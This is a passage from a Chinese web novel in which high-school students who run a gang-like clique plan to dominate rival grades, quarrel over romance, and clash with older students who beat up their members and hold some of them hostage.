张霆琛的眼圈瞬间红了。苏旭的语气里,竟带着一种置之死地而后生的决绝,和以前那个咋咋呼呼的少年判若两人。他喉咙发紧,把手机递给李辰浩:“你跟他说两句吧,我去看看小曦。”
李辰浩接过电话时,张霆琛已经走到了厕所门口。陈曦正对着镜子洗脸,眼眶红红的。“怎么了?”他轻声问。“没事,就是心里不舒服。”陈曦吸了吸鼻子,“他在那儿受那么多苦,我却帮不上忙。二哥,我是不是很没用?”
张霆琛赶紧打断她:“怎么会没用?将来咱们肯定要闯一番事业,开公司、守地盘,到时候账房先生的位置非你莫属!让我们这帮糙老爷们管钱,我可不放心。”
陈曦扑进他怀里,张霆琛顺势搂住她,轻轻拍着她的背
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:“想哭就哭出来,小旭早晚会回来的。到时候咱们一起实现梦想。”
陈曦在他怀里哭得浑身发抖,只是一个劲点头。过了好一会儿,李辰浩走过来,把手机递给她:“小旭还在等你,别哭了,让他在外头安心点。你这么哭,他该不放心了。”
陈曦接过手机,李辰浩给张霆琛使了个眼色,两人悄悄退了出去。门口的台阶上,李辰浩点了支烟,眉头紧锁:“我总觉得小旭待的地方不对劲,太危险了。”
“我也这么觉得,他说话的语气,跟随时要上战场似的。”张霆琛忧心忡忡,“要不咱们给钱子轩打个电话问问?”李辰浩摇摇头:“大过年的,打电话质问不合适。顶多打个电话拜个年,旁敲侧击问问。”
张霆琛叹了口气:“那小旭怎么办?”“自己选的路,跪着也得走完。”李辰浩拍了拍他的肩膀,“小旭这么决定,肯定有他的道理。咱们帮不上忙,就只能信他。以前他总说运气差,说不定这次熬过去,好运就来了。”
张霆琛望着远处的天空,喃喃道:“但愿吧,希望好运别来得太晚。”陈曦和苏旭的电话一直打到中午,期间还让张泽和何欣接了电话。老两口早就把苏旭当成亲儿子,对着电话嘘寒问暖,语气格外亲切。
挂了电话,陈曦从楼上下来,对张霆琛说:“小旭让我告诉你们,别担心他,最多五年就回来,到时候帮你一起干。”张霆琛摇摇头,一脸自责:“要不是因为我,他也不会这么拼命,我是不是害了他?”
李辰浩伸手搭在他肩上,语气严肃:“这话要是让小旭听见,非气得吐血不可。以后不准再说这种话!咱们是兄弟,从决定一起闯的那天起,就没什么谁害谁的说法!”
张霆琛看着李辰浩和陈曦,心里一阵暖流涌过。能交到这样的兄弟姐妹,真是几辈子修来的福气。他深吸一口气,笑着说:“有你们在,这辈子值了!”
第八十九章:开学目标
这个年是张霆琛过得最舒心的一个年,有家人暖着,有兄弟陪着,还能串亲戚访朋友,日子过得热热闹闹。可欢乐的时光总是短暂,转眼就到了开学的日子。张霆琛反倒盼着开学,有些账,该算了;有些杂碎,也该收拾了。
开学前一天,张霆琛把兄弟们都叫了出来。没去常去的酒楼,选了最近的一家大KTV唱歌。二月末的天气已经转暖,可一群少年还是穿着那身亮眼的粉色羽绒服,看得张霆琛想笑又得憋着,他怕热,早就换上了单衣。进了KTV,开了四个大包间,一群人唱到嗓子冒烟,直到下午才转站酒楼,张霆琛用慕容景云给的钱包了全场。
其实今天叫大家来,是想聊聊以后的发展。不少人听到这话都愣了,在他们看来,一群学生无非是凑一起瞎玩,没想到还要发展。
张霆琛看出了大家的疑惑,站起身朗声道:“兄弟们,我张霆琛早晚要让这学校里,咱们这伙人的名字响当当!不能只盯着高一这点地盘。高二的龙镇宏他们,仇结得深;高三的赵丰年,也没安好心。咱们得让所有欺负过咱们的人,在这学校里抬不起头!”他特意没叫梁颖来,知道她来了准要生气。
陈永第一个站起来响应:“对!琛哥说得对!就得让那些欺负过咱们的人,在学校里待不下去!以后提起高中部,第一个想到的就得是咱们琛哥!”大强举着酒杯附和:“都举起杯子!为咱们的小目标干杯!”两人一带头,所有人都站了起来,张霆琛笑着举杯,和大家碰在一起。
酒足饭饱后,大部队渐渐散去,核心成员留了下来,陈永也厚着脸皮没走,大家都没多说什么。张霆琛开门见山:“刚才大方向说了,现在聊聊细节,怎么落地?”
王涛挠挠头:“细节?啥细节?”邓志辉不耐烦地解释:“笨死你!细节就是怎么对龙镇宏他们下手,找什么由头!”王涛嗓门一亮:“找啥由头?拉到后巷揍一顿不就完了!”
张霆琛摇头:“不妥。李耀那伙人也该冒头了,咱们主动挑事容易引火烧身。先低调几天,看看高二那边的动静再说。”李辰浩点头附和:“对,以静制动,见机行事。”
大强皱着眉说:“我觉得也是。不过最近有个事儿,大家好像听说了路家的事,有些人害怕,想退出。现在军心有点散。”张霆琛一愣,这还是头一回听说:“他们怎么知道的?咱们核心兄弟都不是全清楚啊?”
大强压低声音:“不清楚是谁传的,现在都说是谢家或者韩越他们干的,毕竟谢家跟路家有矛盾。大家又知道琛哥跟谢诗韵走得近,所以对琛哥有点怕。路家那事,超出他们能理解的范围了。”
张霆琛还没说话,谢诗韵先急了:“凭什么说是我们家?韩越也没这本事啊!”张霆琛赶紧拉住她:“跟大强嚷嚷没用,现在解释也没人信。”李辰浩叹了口气:“这事确实棘手。”
“再棘手也不能把**罪名扣我头上啊!”谢诗韵气鼓鼓地说。张霆琛心里暗自庆幸,幸好没扣到自己头上,不然这学也别想上了。他忽然觉得,这位谢家大小姐在这儿,还真帮了不少忙。李辰浩却在琢磨另一件事:要是能促成谢诗韵和张霆琛,张霆琛的起点就能比别人高一大截。但感情的事,他不想多掺和,还得看张霆琛自己。
邓志辉想打圆场:“在广市,除了谢家,谁能一夜之间端了路家?再说你们本来就有过节,大家这么想也正常……”话没说完就被谢诗韵瞪了回去。“怎么就只有我们家能干?你爸邓天啸,还有上头那个黑三,就不能动手?”谢诗韵越说越气。
邓志辉知道说错话了,赶紧道歉:“对不起对不起!我错了!大小姐有啥吩咐,我赴汤蹈火!”谢诗韵这才消了气。她转向张霆琛:“我从韩越那儿听说,赵丰年开学就要动你。他特意去问韩越你是什么角色,你猜韩越怎么说?”
张霆琛挑眉:“他肯定说‘张霆琛不算啥,你随便办,他就算认识几个有实力的,也不会叫外人插手’,对不对?”谢诗韵捂着嘴笑:“差不多!虽然不是原话,但意思一样!”“我就知道他会这么说。”张霆琛早有预料。
王涛不解:“韩越不是咱们这边的吗
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?干嘛贬低咱们?”张霆琛解释:“他是想试试咱们,看看咱们怎么收拾赵丰年。要是连赵丰年都搞不定”他冷笑一声,没往下说。
土狗追问:“搞不定会咋样?”“他会对咱们失去兴趣。”张霆琛顿了顿,“然后,可能就不会像现在这样称兄道弟了。”“有这么严重?我看越哥不像这种人啊!”土狗嘀咕。
“人家早就混社会了,咱们要是没点本事,他凭啥关注咱们?”张霆琛反问。邓志辉忽然开窍:“韩越不是想把你拉进谢家吧?”张霆琛打了个响指:“没错!他看似帮咱们,其实啥也没做,就搁旁边看着。从谢诗韵说的这事就能看出来,他想拉我……”他朝谢诗韵扬了扬下巴。
谢诗韵赶紧摆手:“跟我没关系!他确实说过,有机会想拉你入伙,说你有混道的潜质。”“看吧。所以咱们输了赵丰年,就等于失去了跟韩越的这层关系。”张霆琛说。“他本来也没帮啥,失去关系也没啥吧?”王涛不以为然。
张霆琛摇头:“失去关系就被动了。高三本来有一半人跟着**,要是韩越跟咱们疏远了,**手下的人就敢毫无顾忌帮赵丰年,咱们日子就难了。”李辰浩补充:“更重要的是,会让兄弟们慌神。现在不是所有人都死心塌地跟着咱们,一点变故,就可能让他们失去信心。”
陈永点头:“琛哥替路译挨打、上次救人,确实让兄弟们感动。但不少人没从咱们这儿得到实际好处,所以没那么齐心。咱们不能出一点差错!”
张霆琛问:“兄弟们有说啥吗?”“没明说,但能看出来,有些人就是凑份子,不是真心跟着咱们。”陈永老实回答。
“墙头草!”王涛骂道。张霆琛拦住他:“别这么说,大家这么想也正常。只要咱们平了高二和赵丰年,一切都不是问题。别搞得好像咱们必输似的!开学后,大家尽量抱团,别给他们玩阴的机会,尤其是龙镇宏,得防着他偷袭。”
“知道了!”众人齐声应道。就这样,一群少年在酒桌上敲定了开学后的目标,眼里闪烁着对未来的憧憬与斗志。
第九十章:争吵
这天天还没亮,何欣就起来给张霆琛他们准备早饭。今天是开学第一天,几个孩子都起得格外早。吃过早饭,张泽开车把他们送到学校,校门口竟还有人穿着那身粉色羽绒服。陈曦无奈地叹气:“这天都转暖了,怎么还穿这个?你赶紧让他们换换,不行就买套新队服!”
张霆琛琢磨着:“也行,但不能再买这么扎眼的了。买什么好呢?”李辰浩顺水推舟:“让谢诗韵去挑呗,咱们现在也算个小社团了。就是没收入,总不能收保护费吧?”
张霆琛连连点头:“绝对不能收!在容市上学时,有个家伙收苏旭保护费,后来连我哥都惊动了!”李辰浩笑着打趣:“那会儿我还没跟你们混呢!”陈曦皱着眉:“学生里收保护费的都是**!”
张霆琛话锋一转:“让谢诗韵挑衣服,好像不太妥。”李辰浩纳闷:“怎么不妥?”“这不等于让她插手内部事了吗?抛开我私人的事不说,将来咱们跟青帮关系肯定不浅,再来个谢家,以后不就两头难了?”张霆琛分析道。
李辰浩这才反应过来,觉得他说得在理。正琢磨着,梁颖突然从后面捂住张霆琛的眼睛:“猜猜我是谁?”张霆琛早听见脚步声,故意反手往她胸口摸去。梁颖惊叫着跳开:“色狼!万一我是别人呢!”
“是别人就占便宜呗,有便宜不占王八蛋!”张霆琛嬉皮笑脸地说。梁颖撅着嘴:“你敢!就会失去我,够不够后悔?”张霆琛立刻投降:“太够了!比杀了我还后悔!”
梁颖笑着抱住他:“就你嘴甜,走,上课去!”张霆琛亲了她一下,两人拉手走进学校。陈曦咋舌:“你们敢这么明目张胆?老师看见了怎么办?小颖,你啥时候这么开放了?”
梁颖得意地晃脑袋:“老师不管,我把张霆琛照片给我妈看了,我妈同意了!”张霆琛瞪大眼睛:“你咋不告诉我?”“忘了呗,呵呵。”梁颖吐吐舌头。“那周五去拜访阿姨?”张霆琛乐了。梁颖赶紧摆手:“不行!我爸不同意,我都没敢告诉他。”
张霆琛故意逗她:“怕啥?把我照片和成绩单给他看,保准同意!”“我爸说了,找男朋友必须有房有车,让我不为生活发愁,你行吗?”梁颖挑眉。
“又是个势利眼……”张霆琛嘟囔。“你说谁呢?”梁颖瞪起眼睛。张霆琛没好气:“我说谁谁知道!”梁颖急了:“我爸说的是事实啊,连生活都保障不了,怎么在一起?”
“那你等着,我非给你赚套房赚辆车不可!”张霆琛拍着胸脯。梁颖叹了口气:“不知道要等多少年,中薪阶层都得攒很久,咱们还得靠家里。再说你们家三个孩子,到时候房子给谁啊?”她说着瞟了眼前面的陈曦和李辰浩。
张霆琛瞬间火了:“你什么意思?”梁颖被他吼懵了,结结巴巴:“没、没什么,就问问你们家那套别墅将来给谁……”张霆琛猛地甩开她的手:“这话是你爸让你来问的吧?”“不、不是”梁颖眼圈红了。
李辰浩和陈曦赶紧回来劝:“怎么了这是?”张霆琛瞪着梁颖:“你们家我不去了!”“你干嘛啊!说翻脸就翻脸!”梁颖也急哭了。张霆琛没理她,扭头往教室走。陈曦拉着梁颖问:“你问房子的事了?”
梁颖委屈地点头:“就随便问问”陈曦叹气:“你这么说,他能不生气吗?好像我们要跟他争家产似的。”梁颖红着脸:“我真没那意思”李辰浩摇摇头:“先回班吧,到班里我给你们调和调和,以后这种话别再说了。”
到了教室,张霆琛正生闷气,邓志辉凑过来:“二哥咋了?谁惹你了?”他还穿着粉色羽绒服,显得格外滑稽。
张霆琛忍不住笑了:“你咋还穿这个?不热啊?”“组织服装嘛,你说的。”邓志辉撇撇嘴,突然从包里掏出本书,“对了,我爸让我给你带的。”
张霆琛接过一看,是本《杜月笙全传》:“这是?”“我爸说你该学学他。”邓志辉解释,“杜月笙是青帮神话,从市井小混混混成大佬,极重义气,还特会做人。我爸说武力不是最好的办法,义气也不是唯一途径,得靠手段,不能瞎闯。”
张霆琛摩挲着书
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皮,若有所思。正看着,李辰浩带着梁颖进来了。“还生气呢?”李辰浩拍他肩膀。张霆琛抬头看见梁颖红着眼圈站在门口,心里软了半截,嘴上却硬:“你说她爸让问的这叫什么事!”
邓志辉在旁边打圆场:“小情侣吵吵闹闹很正常,二哥你就让让人家呗。”李辰浩推了他一把:“哪都有你,怕老婆的别插嘴!”“你说谁怕老婆?欠揍啊!”邓志辉撸袖子。李辰浩也撸袖子:“来啊!”
邓志辉立马怂了,抓着他胳膊:“大哥我错了!你壮得跟牛似的,我打不过!”逗得周围人直笑。梁颖这时走过来,拉着张霆琛的衣角小声说:“对不起,以后我不说了。”张霆琛心彻底软了,抬头道:“行了,中午再说,别生气了。”梁颖立刻笑了,蹦蹦跳跳回了座位。
上课铃响,历史老师讲虎门销烟,张霆琛觉得没意思,掏出《杜月笙全传》偷看。看到杜月笙在黄公馆初露头角的章节正入迷,突然被老师点名:“张霆琛,这个问题你来回答!”
张霆琛懵懵地站起来,周围同学赶紧小声提醒,他却啥也没听见。老师皱眉:“刚开学就不认真,下课来我办公室!”张霆琛赶紧讨饶:“老师别啊,我都会,您再问一遍,我准答上来!”
老师扶了扶眼镜:“好,速答!第一,虎门销烟在什么时候,销毁了多少**?”“公元1839年6月3日,销毁三百三十七万六千二百五十四斤**!”张霆琛脱口而出。
老师眼睛亮了:“第二,林则徐的代表作有哪些?”“《试帖诗稿》《使滇吟草》《拜石山房诗草》《黑头公集》!”张霆琛答得飞快。
老师鼓掌:“不错!最后一个问题,三秒内回答!你在底下干嘛呢?”“看小说!”张霆琛说完就后悔了,暗道上当。老师脸一沉:“敢在我课上看小说?”张霆琛老实认错:“对不起老师,我错了。”
老师刚想说话,角落里突然有人喊:“老师!张霆琛是全班第一,当众不听课该重罚!”张霆琛扭头一看,正是班里的死对头乔川。
第九十一章:不速之客
乔川这话一出口,所有人的目光瞬间齐刷刷地投向他,尤其是李辰浩,盯着乔川的眼神简直要喷出火来。乔川慢悠悠地站起身,嘴角勾起一抹得意的弧度,继续对着历史老师说道:“老师,张霆琛是全班第一的学生,当众违反纪律会让大家觉得听课无关紧要,这会误导全班同学的。所以张霆琛必须重罚!”
邓志辉一听这话,一下站起来反驳:“凭什么?一个小错误就要往死里罚吗?再说张霆琛都已经认错了!”
“难道**后说句对不起就能算了?”乔川寸步不让,跟邓志辉针锋相对。这时张霆琛耸耸肩,一脸无所谓地开口:“好了,大家别吵了。”他转头对历史老师说:“老师,我犯了错,该罚就罚。”
历史老师点点头,赞许道:“嗯!知错认罚,有担当!行,那就罚你抄课堂常规50遍,给大家做个警示!”听到这话,乔川得意地看向张霆琛,可张霆琛连眼皮都没抬一下,压根没正眼看他。
这一下可把乔川气够呛,但能借着机会落井下石,他心里倒是舒坦了不少。下课后,邓志辉凑到张霆琛身边:“你干嘛答应得这么痛快?50遍啊,知道得写多久吗?”
张霆琛耸耸肩:“我不答应也是50遍,不如让老师顺心点。”邓志辉憋着气说:“都怪那个傻X没事找事!看来得找机会收拾他一顿了,给他点颜色看看,真当咱们好欺负!”
张霆琛眯起眼睛冷哼一声:“落井下石的小人而已,犯不着跟他一般见识。等他真踩到我底线了,再好好跟他算账!”
“不是吧?这都能忍?”邓志辉伸手摸了摸张霆琛的额头,“没发烧啊,这可不像你风格!”张霆琛拍开他的手:“反正我懒得理这种人,我得赶紧抄常规了,50遍呢。”
这时李辰浩走过来说:“要不叫上兄弟们一起抄,一人抄一遍,一会儿就搞定了!”张霆琛叹口气:“你以为历史老师跟王涛似的好糊弄?每个人笔记都不一样,要是老师较真核对,我可就麻烦了!”
李辰浩还抱着侥幸:“我觉得老师不会核对,谁闲得没事仔细查这个啊!”“那可不一定,还是别冒险了。我开始抄了,大家各忙各的吧。”张霆琛说着拿出纸笔,埋头开始抄写。一上午下来,他下课抄、上课也见缝插针地写,直到中午吃饭时才总算抄完,可手指头早就累得不听使唤,一个劲地抽筋。邓志辉在旁边打趣:“嘿嘿,叫你逞能!换作是我,就让乔川替我抄,他要是敢不抄……”
“你敢怎么样?”张霆琛斜了他一眼。邓志辉扬了扬拳头:“那就好好揍他一顿!”“然后呢?”“然后?还有什么然后?”
张霆琛无奈地摇摇头:“乔川这种人,武力根本吓不住他。你打他,他转头就去告老师,现在不少老师都收过他家好处,等于好多老师都向着他,咱们跟他纠缠不休,等于跟老师没完没了。”
“那也不能让他这么嚣张啊!”邓志辉不服气地嘟囔。这时梁颖拿着一瓶药水走过来:“霆琛,我帮你揉揉手指头吧!”张霆琛笑着说:“看看!还是我媳妇实在,你们就知道动武力,武力可是解决问题的最后办法。”梁颖立刻接话:“对对!还是我老公明事理。”
正说着,谢诗韵走过来,对着他俩调侃:“呦,这声‘老公老婆’叫得可真甜,我怎么就没这待遇呢!”梁颖赶紧安慰:“没事,你肯定能遇到真命天子的!”谢诗韵叹口气:“但愿如此吧。”
旁边的林凯突然站出来:“韩大小姐要不要考虑一下我?我这么一表人才、风流倜傥、英俊潇洒的!”话音刚落,其他人齐刷刷地做出呕吐的样子,根本不用谢诗韵亲自拒绝。林凯不满地嚷嚷:“你们干嘛啊!我说的是实话,小心我收拾你们!”
这话刚说完,王涛站出来撸起袖子:“怎么着,练练?”王涛摩拳擦掌,摆出一副要打架的架势。林凯知道自己打不过王涛,赶紧服软:“好男不跟女斗!”
“这就对了!”王涛傻呵呵地收起架势,可其他人已经笑成一团。王涛一脸茫然地看着大家:“怎么了怎么了?你们怎么还哭了?”
最后李辰浩拍了拍王涛的肩膀:“我的好弟弟啊,你真是傻得可爱!”这时候王涛才反应过来,二话不说就上去收拾林凯,林凯自知理亏,加上打不过王涛,只好乖乖受着。
俩人正闹着,谢诗韵突然说:“这都春天了,咱们是不是该换件衣服了?”张霆琛心里咯噔一下:她怎么知道我要换衣服?他瞅了瞅李辰浩和陈曦,俩人也一脸困惑地看着他。谢诗韵见张霆琛心不在焉,抬脚踢了踢他的腿,大声叫道:“喂!人家说话你好好听行不行!”
张霆琛不耐烦地说:“好,你说吧。”谢诗韵这才满意:“我刚挑了件衣服,用手机拍下来了,你们看看!”她拿出手机展示自己看中的衣服,一件蓝色长袖上衣,上面印着一大片火焰图案。李辰浩抢先说:“嗯!不错!”
其实张霆琛也挺喜欢,但不想表现出来,只好岔开话题:“那一会儿清点下人数,我给你钱,你去买吧。”谢诗韵不乐意了:“不行!
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这次的钱我出,你要是不答应……”说着她低下头,摆出一副小女生撒娇的样子。张霆琛没料到她会这样,只好妥协:“好好好!你掏钱!还没见过抢着花钱的呢!”
谢诗韵瞥了他一眼:“我不是贱骨头嘛!哼!”其他人跟着哈哈大笑起来。不一会儿,这伙人结伴来到食堂,刚进门就看见李耀。李耀朝着张霆琛走过来,身边还跟着两个面生的人。
张霆琛没有避让,上前叫道:“耀哥!”李耀冷笑一声:“可别这么叫!现在琛哥可是咱们学校的风云人物,这声耀哥我可担待不起,要折寿的!”张霆琛赶紧说:“别别,耀哥,您高看我了!”
李耀没再挖苦他,看了看张霆琛身后的人,丢下一句:“大家出门小心点!”说完转身就走。张霆琛眯起眼睛盯着李耀的背影,邓志辉站出来说:“他们怎么回来了?”
张霆琛纳闷地问:“谁?”邓志辉收起玩世不恭的样子:“李耀手下的两员悍将,张锋和刘利。这俩人按理说已经退学了啊!”谢诗韵在一旁补充:“嗯,这两个人不是善茬,咱们得早做提防。”
张霆琛见他们一副如临大敌的样子,笑道:“有这么可怕吗?”邓志辉说:“二哥你没来的时候,这俩人还在学校,后来因为在校外打架被开除了!”“就这么简单?”
邓志辉摇摇头:“当然不是!打架的时候,这俩人带着十个人挑了高年级不下二十人,事后还把对方老大的腿打折了!但他们明明被劝退了,怎么又回来了?”
“咱们学校你还不知道?有钱啥都好办!”谢诗韵接话道。张霆琛若有所思地说:“看来是来者不善啊。”
众人在食堂吃完饭,一起回了宿舍。路上邓志辉说:“咱们以后是不是可以叫外卖?不在食堂吃了,看见他们就恶心!”张霆琛想了想觉得可行,但又想到同行的女生:“那女生怎么办?让她们自己吃吗?”
邓志辉觉得这话有理,大强插嘴:“没事,给她们买一份让她们自己回去吃就行,天天黏在一起有啥意思!”张霆琛点头:“行,这事就交给你办。你不是知道怎么叫外卖吗?咱们清点下人数,强子你去砍价。”
“没问题!”大强应道。李辰浩问:“那钱怎么办?咱们自己掏?”张霆琛说:“这哪能一直自己掏,一顿两顿还行,天天吃咱们也供不起。让大家交钱,问问愿不愿意,食堂的饭又贵,外面的还省钱。”
“行!这事我来安排,要是快的话,今天晚上咱们就不用在食堂受罪了!”大强拍着胸脯说。
第九十二章:有鬼
还没到下午,谢诗韵订的衣服就全都送到了。让张霆琛意外的是,这阵子又有不少学生主动加入他们,如今他身边的人已经快有一百人了。张霆琛琢磨了一下,决定请所有人吃顿好的,又从卡里取了两千块钱叫外卖。这么一来,他在学校彻底成了最惹眼的存在,不仅手下人多势众,连穿的衣服都统一整齐。有人羡慕,自然就有人眼红,尤其是高二的龙镇宏和李耀,看他的眼神都快冒火了。
离吃饭时间还早,龙镇宏就气冲冲地找到李耀:“你看看他现在狂的!耀哥,你可得管管,不然以后你在学校还怎么立足?”旁边的张锋不乐意了,瞥了他一眼:“你这话什么意思?不就是人多点吗?他张扬,咱们就没法混了?”
龙镇宏一看是张锋开口,赶紧堆起笑脸恭维:“峰哥,我不是这意思,我就是觉得他太招摇了。”“太招摇自然有人收拾他,你跑这儿来就为说这个?”刘利轻蔑地打断他,语气里满是不屑。显然,李耀身边的人打心底里瞧不上龙镇宏。龙镇宏识趣,正想转身溜走,李耀却叫住他:“小宏别走,有事给你办。”
龙镇宏回头,一脸纳闷地看着李耀,心里把对方的心思猜了个遍,多半是要拿自己当枪使。果然,李耀慢悠悠地问:“你知道张霆琛的人穿什么衣服吧?”龙镇宏眼珠一转,立刻接话:“嗯,还不太清楚,星哥想怎么着?”
李耀心里暗笑这小子狡猾,嘴上却说道:“没事,今天你带几个人去食堂,随便找两个穿那衣服的下手,教训教训就行,别太过火。”
龙镇宏一听,鼻子都快气歪了,这种吃力不讨好的事竟然让他来干?简直没人性!要是张霆琛追究起来,或者人家告到老师那里,自己还不是吃不了兜着走?他刚想找借口推脱,就见刘利从兜里掏出一把小刀,在手指间转得飞快。看到这架势,龙镇宏把到了嘴边的话又咽了回去,尽管一万个不情愿,还是强笑着应道:“耀哥吩咐的事,好办!保证办得漂亮!”
李耀满意地点点头:“不错,没看错你。去吧。”等龙镇宏一走,张锋嬉笑着说:“耀哥,你怎么跟这种人打交道?傻了吧唧的,成不了气候。”
李耀冷哼一声:“这种小人就像蟑螂,一下拍不死,回头还会引来一堆麻烦。现在先按住他别生事,这不就派上用场了?”刘利跟着笑:“还是耀哥聪明。不过上回怎么就让张霆琛把刀架脖子上了?”
李耀没生气,反而无所谓地耸耸肩:“上回就算张霆琛不来,那黑锅也得龙镇宏和刘振平背。我就是想看看这小子到底有多大能耐。他虽然能打,但想随便近我的身,没那么容易。上回让他得手,纯属意外,是我大意了。”
“怪不得人家说咱们学校净是怪物,混的学生多不说,里头还有不少会真功夫的。”张锋嘲讽道。李耀摊摊手:“没办法,来这儿的家里都有钱,不少是军人或混子的孩子,要么从小练过,要么打架打得多有经验。所以人人都想在学校混出个样来,可谁知道在这儿想站稳脚跟,难如登天。”
刘利附和道:“可不是嘛!咱们高一的时候,**他们打得多凶啊!”一提到**,李耀脸色一沉,紧握双拳咬牙道:“早晚我也能爬到他们那个高度!对了,交给你的事办得怎么样了?”
刘利收起玩笑,正色道:“办妥了,张霆琛新收的人里,有不少是咱们的眼线。现在就等龙镇宏那边动手了。”李耀眼里闪过一丝狠劲:“好!我倒要看看,他张霆琛还能不能在这学校混下去!”
镜头转回张霆琛这边。眼看就要下课,他打了个哈欠,完全没察觉到一场危机正在逼近。下课后,一群人回了宿舍,大强早就把外卖订好了,不一会儿人就到齐了。宿舍太挤,大家索性都上了天台。张霆琛小声问大强:“人都到齐了吗?”
大强回道:“还没,有几个在班里有事没过来。”张霆琛点点头,举起手里的饮料杯对众人说:“大家安静一下!”喧闹声立刻停了,所有人都看向他。他顿了顿,声音洪亮地说:“咱们能聚在一起不容易,以后谁挨了欺负,就是欺负我张霆琛,我绝对不会放过对方!”
话音刚落,就有人站起来问:“琛哥,那要是高二的李耀,或者高三的赵丰年他们动手,咱们怎么办?”
邓志辉在旁边低声嘀咕:“真不识趣。”张霆琛对邓志辉摆了摆手,转头对提问的人说:“兄弟们放心,不管是谁,敢欺负你们,我张霆琛照收拾不误!”说完一饮而尽,天台上顿时一片叫好。
可叫好声还没停,天台的门就被敲响了。有人打开门,一个鼻青脸肿的男生冲了进来。张霆琛不认识他,但认得他身上的衣服,正是谢诗韵订的同款。他赶紧走过去,急切地问:“兄弟,你怎么了?”
那男生哭丧着脸说:“高二的龙镇宏带着人,见着穿咱们衣服的就打,现在还在下面动手呢!我是拼命跑回来报信的!”
张霆琛一听就火了,骂道:“好个龙镇宏,欺人太甚!走!”说着就带头往楼下冲,邓志辉赶紧拦住他:“带这么多人太扎眼,咱们宿舍的去就行,再多加几个兄弟。其他人留在这儿吃饭。”
张霆琛觉得有理,点头答应,点了几个身手不错的兄弟,又对其他人说:“去太多人不好,其他人留下吃饭!大家放心,我不会让自己兄弟白挨欺负!”说完带着人匆匆下楼,直奔事发地。
路上,张霆琛问那挨打的男生:“龙镇宏现在在哪儿?他为什么打你们?”男生支支吾吾地说:“他在后楼,至于为什么,他说……”“说!有我在,没事!”张霆琛催促道。
男生咬咬牙:“他说,跟着你张霆琛,就得挨揍!这只是个小小的警告!”张霆琛冷哼一声:“我倒要看看,他龙镇宏能嚣张到什么时候!”
一行人刚拐过后楼拐角,就看见龙镇宏带着几个人正围着三个穿同款衣服的男生拳打脚踢。张霆琛眼都红了,刚要冲上去,就被李辰浩拉住。他瞪了李辰浩一眼,甩开他的手:“我知道该怎么做!”说着径直朝龙镇宏走去。
龙镇宏他们早就看见了张霆琛,等他走近了才停手。龙镇宏站在最前面,阴阳怪气地说:“呦,这不是高一的张霆琛吗?大驾光临,有何贵干?”张霆琛指着地上的人,冷冷地说:“给他们道歉。”
龙镇宏像是听到了天大的笑话:“道歉?老子没听错吧?你让我道歉?”话音未落,张霆琛一脚就踹在了他肚子上。龙镇宏身边的人见状想动手,却被他喝住了。龙镇宏捂着肚子站起来,恶狠狠地说:“小子,记住这一脚!你现在随便打我,我不还手,但你怎么对我的,我会加倍还给你兄弟!”
张霆琛心里一紧,厉声问道:“你说什么?!”龙镇宏得意地笑了:“没听清?我说,你怎么对我,我就怎么对你兄弟!”地上躺着的三个男生立刻大喊:“琛哥,我们还有兄弟被他们抓走了!”
“哦?”张霆琛死死盯着龙镇宏,“你们对我的人做了什么?!”龙镇宏正得意笑着,手机突然响了。他接起电话,只“恩”了一声,就把手机递给张霆琛。张霆琛疑惑地接过来,电话那头传来李耀的声音:“张霆琛,怎么样?早说了让你兄弟小心点,你就是不听,现在出事了吧?”
张霆琛懒得跟他废话,直接问:“我的人怎么样了?他们在哪儿?”李耀假惺惺地说:“没事没事,就是请他们吃点零食。怎么,想过来聚聚?”
“把他们放了,我的事我自己解决。”“哦?什么放不放的,兄弟你太见外了!哥哥就是想请你到高二坐坐,赏脸不?”张霆琛冷哼一声:“没问题,在哪儿?”
李耀在电话里赞道:“好!有魄力!就上次你拿
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刀顶我那地方,你熟。上回你一个人来的,这回也一个人来吧,人多了不方便。”
张霆琛没犹豫,一口答应,直接挂了电话。龙镇宏接过手机,嚣张地说:“怎么样,张霆琛?知道厉害了吧?以后给我放明白点!”
话还没说完,张霆琛一拳就砸了过去,接着对身后的人喊道:“干他们!”这群人本就憋着一股火,一听这话立刻像脱缰的野马般冲上去,对着龙镇宏等人拳打脚踢。只有邓志辉和李辰浩没动,邓志辉拉了拉张霆琛:“这样好吗?咱们的人还在他们手上!”
张霆琛冷笑:“这傻子被人当枪使了都不知道,咱们揍他,李耀高兴还来不及,根本不会管。”邓志辉还是不放心:“那现在怎么办?”“还能怎么办?去高二!”李辰浩皱着眉:“你一个人?”
张霆琛耸耸肩:“难道带一群人去?”李辰浩急了:“不妥!我跟你去!”邓志辉也说:“我也去!”张霆琛反对:“多去一个少去一个,有区别吗?”
正说着,身后传来一阵脚步声,一大帮人涌了过来,正是留在天台上的兄弟。张霆琛诧异道:“你们怎么来了?”带头的陈永说:“嗨,有兄弟说不放心,我就把人都带过来了。琛哥,出什么事了?”张霆琛摇头:“没事,都回去吧。”
话音刚落,龙镇宏挣扎着站起来,放狠话:“哼!以后张霆琛的人,高二见一个打一个!”张霆琛刚一回头,他就带着人撒腿跑了。有人想追,被张霆琛拦住了:“大家都回去吧。”
这时,人群里有人喊道:“琛哥,你太不把我们当自己人了吧!到底出什么事了?”说话的人张霆琛不认识,但这话立刻引起了其他人的附和。张霆琛有些为难:“不是不告诉大家,只是……”
那人又说:“琛哥,我叫阎聪。刚才龙镇宏说见一个打一个,咱们怎么办?”张霆琛刚想回答,王涛先站了出来,梗着脖子说:“怎么着?怕了?他敢见一个打一个,咱们就敢见一个揍一个!”一句话把阎聪噎得说不出话。张霆琛赶紧接道:“没错!王涛说得对!他敢动咱们一个,咱们就加倍奉还!”
这话瞬间点燃了气势,阎聪又问:“那被抓走的兄弟怎么办?我听说有人被他们带走了。”张霆琛好奇地看着他:“兄弟,你怎么知道有人被带走了?”阎聪眼神一闪,慌忙解释:“被抓走的是我兄弟,所以我知道。”
张霆琛点点头,没再多问,对众人说:“新加入的兄弟们放心,我张霆琛绝不会放弃自己人,被带走的人,我一定完好无损地带回来!”阎聪追问:“可你自己去,安全吗?”
张霆琛嘴角一扬:“谅他们也不敢做太出格的事,我自己去没事。”邓志辉急了:“不行!太危险!要去一起去!”阎聪赶紧说:“可人家说了要琛哥一个人去!要是多带人,兄弟们肯定会遭殃的!”
邓志辉狠狠瞪了他一眼,却不好发作。张霆琛刚想说话,手机突然响了,是李耀打来的。他接起电话,就听李耀说:“呦,忘了提醒你,别带刀啊,不安全。你带刀,你的人就更不安全了。刘利说了,就算不上学,也得废了那小兄弟。我正拦着呢,你快点来!”
